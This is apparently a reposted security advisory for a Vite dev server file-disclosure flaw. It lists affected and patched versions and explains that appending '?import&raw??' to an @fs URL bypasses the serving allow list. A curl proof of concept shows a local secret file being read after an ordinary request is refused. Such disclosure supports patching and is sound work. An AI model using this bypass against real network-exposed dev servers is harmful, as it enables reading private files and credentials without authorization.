| Package | Affected versions | Patched versions |
|---|---|---|
| vite | ≥ 5.0.0, < 5.4.15≥ 6.0.0, < 6.0.12≥ 6.1.0, < 6.1.2≥ 6.2.0, < 6.2.3< 4.5.10 | 5.4.156.0.126.1.26.2.34.5.10 |
| vite | ≥ 5.0.0, < 5.4.15≥ 6.0.0, < 6.0.12≥ 6.1.0, < 6.1.2≥ 6.2.0, < 6.2.3< 4.5.10 | 5.4.156.0.126.1.26.2.34.5.10 |
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free